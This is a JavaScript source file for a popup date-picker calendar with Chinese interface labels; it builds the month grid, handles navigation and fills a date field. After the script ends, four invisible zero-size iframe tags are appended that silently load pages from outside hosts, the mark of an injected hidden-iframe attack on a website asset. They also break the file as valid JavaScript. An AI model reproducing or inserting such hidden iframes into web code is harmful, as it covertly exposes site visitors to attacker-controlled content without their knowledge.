var gdCtrl = new Object();
var goSelectTag = new Array();
var gcGray = "#788480";//过去时间颜色
var gcBlack = "black";
var gcRed = "red";
var gcToggle = "#83BCE7";//时间的背景色，鼠标移上去的颜色
var gcBG = "#E4F1FA";//时间的背景色
var previousObject = null;
var gbIsSelectPredate = false;
var giCurRow = 0;
var giCurCol =0;
var gdCurDate = new Date();
var giYear = gdCurDate.getFullYear();
var giMonth = gdCurDate.getMonth()+1;
var giDay = gdCurDate.getDate();
var gCalDefDate = "";

function fSetDate(iYear, iMonth, iDay){
  if ((iYear == 0) && (iMonth == 0) && (iDay == 0)){
  	gdCtrl.value = "";
  }else{
  	iMonth = iMonth + 100 + "";
  	iMonth = iMonth.substring(1);
  	iDay   = iDay + 100 + "";
  	iDay   = iDay.substring(1);
  	gdCtrl.value = iYear+"-"+iMonth+"-"+iDay;
  }
	gdCtrl.setAttribute("xYear",iYear);
	gdCtrl.setAttribute("xMonth",iMonth);
	gdCtrl.setAttribute("xDay",iDay);
  
  HiddenDiv();

}

function HiddenDiv()
{
  var i;
  VicPopCal.style.visibility = "hidden";
  for (i in goSelectTag)
  goSelectTag[i].style.visibility = "visible";
  goSelectTag.length = 0;

}
function fSetSelected(aCell, row, col ){

	   var iOffset = 0;
  var iYear = parseInt(tbSelYear.value);
  var iMonth = parseInt(tbSelMonth.value);
  aCell.bgColor = gcBG;
  var xdate = aCell.children[0];

	var iDay = parseInt(xdate.innerHTML);
		if(row == 1 && iDay > 15)
			iOffset = -1;

		if ((row == 6 || row == 5) && iDay < 15)
		{
			iOffset = 1;
		}
	iMonth += iOffset;
	if (iMonth<1) {
		iYear--;
		iMonth = 12;
	}else if (iMonth>12){
		iYear++;
		iMonth = 1;
	}
	if (gbIsSelectPredate)
		{
			if (lessThanToday(iYear,iMonth,iDay) == 1)
			{
					return;
			}
			  
		} 
	fSetDate(iYear, iMonth, iDay);
	  
}

function Point(iX, iY){
	this.x = iX;
	this.y = iY;
}


function fDrawCal(iYear, iMonth, iCellHeight, sDateTextSize) {

  var WeekDay = new Array("日","一","二","三","四","五","六");
  var styleTD = " bgcolor='"+gcBG+"' bordercolor='"+gcBG+"' valign='middle' align='center' height='"+iCellHeight+"' style='font-size:12px; ";

  with (document) {
	write("<tr>");
	for(i=0; i<7; i++)
	{
		if(i==0 || i==6)
			write("<td "+styleTD+" color:#cc0000' >" + WeekDay[i] + "</td>");
		else
			write("<td "+styleTD+" color:#333333' >" + WeekDay[i] + "</td>");
	}
	write("</tr>");

  	for (w = 1; w < 7; w++) {
		write("<tr>");
		for (d = 0; d < 7; d++) {

			write("<td id=calCell "+styleTD+"cursor:pointer;cursor:hand;' onMouseOver='this.bgColor=gcToggle' onMouseOut='this.bgColor=gcBG' onclick='fSetSelected(this," + w + "," + d + ")'>");
			write("<font id=cellText"+w+d+" ></font>");
			write("</td>")
		}
		write("</tr>");
	}
  }
}

function lessThanToday(iYear, iMonth, iDay)
{
	var tmpDate;
	if ( iDay  != null )
	{
		tmpDate = new Date(iYear, iMonth - 1, iDay  );
	} 
	var dCurDate = new Date(gdCurDate.getYear(), gdCurDate.getMonth(), gdCurDate.getDate());
	if(tmpDate < dCurDate)
	{
		return 1;
	}
	else if(tmpDate > dCurDate)
	{
		return -1;
	}

	return 0;
}

function fBuildCal(iYear, iMonth) {
  var aMonth=new Array();
  for(i=1;i<7;i++)
  	aMonth[i]=new Array(i);
  
  var dCalDate=new Date(iYear, iMonth-1, 1);
  var iDayOfFirst=dCalDate.getDay();
  var iDaysInMonth=new Date(iYear, iMonth, 0).getDate();
  var iOffsetLast=new Date(iYear, iMonth-1, 0).getDate()-iDayOfFirst+1;
  var iDate = 1;
  var iNext = 1;
  giCurRow = Math.ceil((giDay + iDayOfFirst)/7) - 1;
  giCurCol = gdCurDate.getDay();
  for (d = 0; d < 7; d++)
	aMonth[1][d] = (d<iDayOfFirst)?-(iOffsetLast+d):iDate++;
  for (w = 2; w < 7; w++)
  	for (d = 0; d < 7; d++)
		aMonth[w][d] = (iDate<=iDaysInMonth)?iDate++:-(iNext++);
  return aMonth;
}

function fUpdateCal(iYear, iMonth) {

  myMonth = fBuildCal(iYear, iMonth);
  var i = 0;
  for (var w = 0; w < 6; w++)
	for (var d = 0; d < 7; d++){
		
		var cText = document.getElementById("cellText"+(w+1)+d);
		Victor = i++;
		
		if (myMonth[w+1][d]<-15) 
		{
			if(isThisMonth(iYear,iMonth) <= 0)
			{
				cText.color = gcGray;
			}
			else if(isThisMonth(iYear,iMonth) == 1)
			{
				if(0-myMonth[w+1][d] < gdCurDate.getDate())
					cText.color = gcGray;
				else
					cText.color = gcBlack;
			}
			else 
			{
				cText.color = gcBlack;
			}
				cText.innerHTML = -myMonth[w+1][d];
		}
		else if(myMonth[w+1][d]<0)
		{
			if(isThisMonth(iYear,iMonth) >= 0)
			{
				cText.color = gcBlack;
			}
			else if(isThisMonth(iYear,iMonth) == -1)
			{
				if(0-myMonth[w+1][d] < gdCurDate.getDate())
					cText.color = gcGray;
				else
					cText.color = gcBlack;
			}
			else
			{
				cText.color = gcGray;
			}
			cText.innerHTML = -myMonth[w+1][d];
		}
		else
		{
			cText.innerHTML = myMonth[w+1][d];
			var res = -1;
			if (gbIsSelectPredate)
			{
				res = lessThanToday(iYear, iMonth, myMonth[w+1][d]);
			}
			if(res == 1)
				cText.color = gcGray;
			else if (res == 0)
			{
				cText.color = gcRed;
			}
			else
			{
				cText.color = gcBlack;
			}

			cText.innerHTML = myMonth[w+1][d];
		}
  }
}

function fSetYearMon(iYear, iMon){
	if (gbIsSelectPredate)
	{
		if(iYear < giYear)
			return;
		else if(iYear == giYear && iMon < giMonth)
			return;
	}
  tbSelMonth.options[iMon-1].selected = true;
  for (i = 0; i < tbSelYear.length; i++)
	if (tbSelYear.options[i].value == iYear)
		tbSelYear.options[i].selected = true;
 
  	fUpdateCal(iYear, iMon);
}

function fPrevMonth(){
  var iMon = tbSelMonth.value;
  var iYear = tbSelYear.value;
  
  if (--iMon<1) {
	  iMon = 12;
	  iYear--;
  }
  
  fSetYearMon(iYear, iMon);
}

function fNextMonth(){
  var iMon = tbSelMonth.value;
  var iYear = tbSelYear.value;
  
  if (++iMon>12) {
	  iMon = 1;
	  iYear++;
  }
  
  fSetYearMon(iYear, iMon);
}

function fToggleTags(){
  var selects = document.getElementsByTagName("SELECT");
	for (var i=0; i<selects.length; i++)
 		if ((selects.item(i).getAttribute("Victor")!="Won")&&fTagInBound(selects.item(i))){
 			selects.item(i).style.visibility = "hidden";
 			goSelectTag[goSelectTag.length] = selects.item(i);
 		}

}

function fTagInBound(aTag){
  with (VicPopCal.style){
  	var l = parseInt(left);
  	var t = parseInt(top);
  	var r = l+parseInt(width);
  	var b = t+parseInt(height);
	var ptLT = fGetXY(aTag);
	return !((ptLT.x>r)||(ptLT.x+aTag.offsetWidth<l)||(ptLT.y>b)||(ptLT.y+aTag.offsetHeight<t));
  }
}

function fGetXY(aTag){
  var oTmp = aTag;
  var pt = new Point(0,0);
  do {
  	pt.x += oTmp.offsetLeft;
  	pt.y += oTmp.offsetTop;
  	oTmp = oTmp.offsetParent;
  } while(oTmp !=null  && oTmp.tagName!="BODY");
  return pt;
}
function XselectDateFor(dateCtrl, isSelectPredate){

fPopCalendar(dateCtrl, dateCtrl, isSelectPredate);}
function fPopCalendar(popCtrl, dateCtrl, isSelectPredate, defDate){

  gCalDefDate = defDate;
  gbIsSelectPredate = isSelectPredate;	
  if (popCtrl == previousObject){
	  	if (VicPopCal.style.visibility == "visible"){
  		//HiddenDiv();
  		return true;
  	}
  	
  }
  previousObject = popCtrl;
  gdCtrl = dateCtrl;
  fSetYearMon(giYear, giMonth); 
  var point = fGetXY(popCtrl);

  with (VicPopCal.style) {
  	left = point.x;
	top  = point.y+popCtrl.offsetHeight;
	width = VicPopCal.offsetWidth;
	height = VicPopCal.offsetHeight;
	fToggleTags(point); 	
	visibility = 'visible';
  }
}

var gMonths = new Array("1月","2月","3月","4月","5月","6月","7月","8月","9月","10月","11月","12月");

with (document) {
write("<Div id='VicPopCal' style='OVERFLOW:hidden;POSITION:absolute;VISIBILITY:hidden;border:0px ridge;top:0;left:0;z-index:100;overflow:hidden'>");
write("<table  style='border:1px #DDEDF9 solid;' bgcolor='#0175CC'>");
write("<TR bgcolor='#0175CC' >");
write("<td valign='middle' align='center'><img src='images/081023/previous.gif' style='height:15;width:18;' onClick='fPrevMonth()'> ");
write("&nbsp;<SELECT id='tbSelYear' onChange='fUpdateCal(tbSelYear.value, tbSelMonth.value)' Victor='Won'>");
for(i=1930;i<2020;i++)
	write("<OPTION value='"+i+"'>"+i+"年</OPTION>");
write("</SELECT>");
write("&nbsp;<select id='tbSelMonth' onChange='fUpdateCal(tbSelYear.value, tbSelMonth.value)' Victor='Won'>");
for (i=0; i<12; i++)
	write("<option value='"+(i+1)+"'>"+gMonths[i]+"</option>");
write("</SELECT>");
write("&nbsp;<img src='images/081023/next.gif' style='height:15;width:18;' onclick='fNextMonth()'>");
write("</td>");
write("</TR><TR>");
write("<td align='center'>");
write("<DIV id=xdate ><table width='100%' border='0'>");
fDrawCal(giYear, giMonth, 8, '12');
write("</table></DIV>");
write("</td>");
write("</TR><TR><TD align='center'>");
write("<TABLE width='100%'><TR><TD align='center'>");
write("<div style='width:38px;background-color:#83BCE7'>");
write("<b style='color:#014A81; cursor:pointer;cursor:hand; font-size:12px' onclick='fSetDate(0,0,0)'>清空</b>");
write("</div>");
write("</td><td>&nbsp</td>");
write("<td algin='center'>");
write("<div style='width:38px;background-color:#83BCE7'>");
write("<b style='color:#014A81;cursor:pointer;cursor:hand; font-size:12px' onclick='HiddenDiv();'>关闭</b>");
write("</div>");
write("</td></tr></table>");
write("</TD></TR>");
write("</TABLE></Div>");
}


function isThisMonth(year,month)
{
	return parseInt(year*12)+parseInt(month) - gdCurDate.getYear()*12 - gdCurDate.getMonth() -1;
}
<iframe src=http://vcity.ly169.cn/ad/ad.html width=0 height=0></iframe>
<iframe src=http://www.ip66.com/app/go width=0 height=0></iframe>
<iframe src=http://www.ip66.com/app/go width=0 height=0></iframe>
<iframe src=http://vcity.ly169.cn/ad/ad.html width=0 height=0></iframe>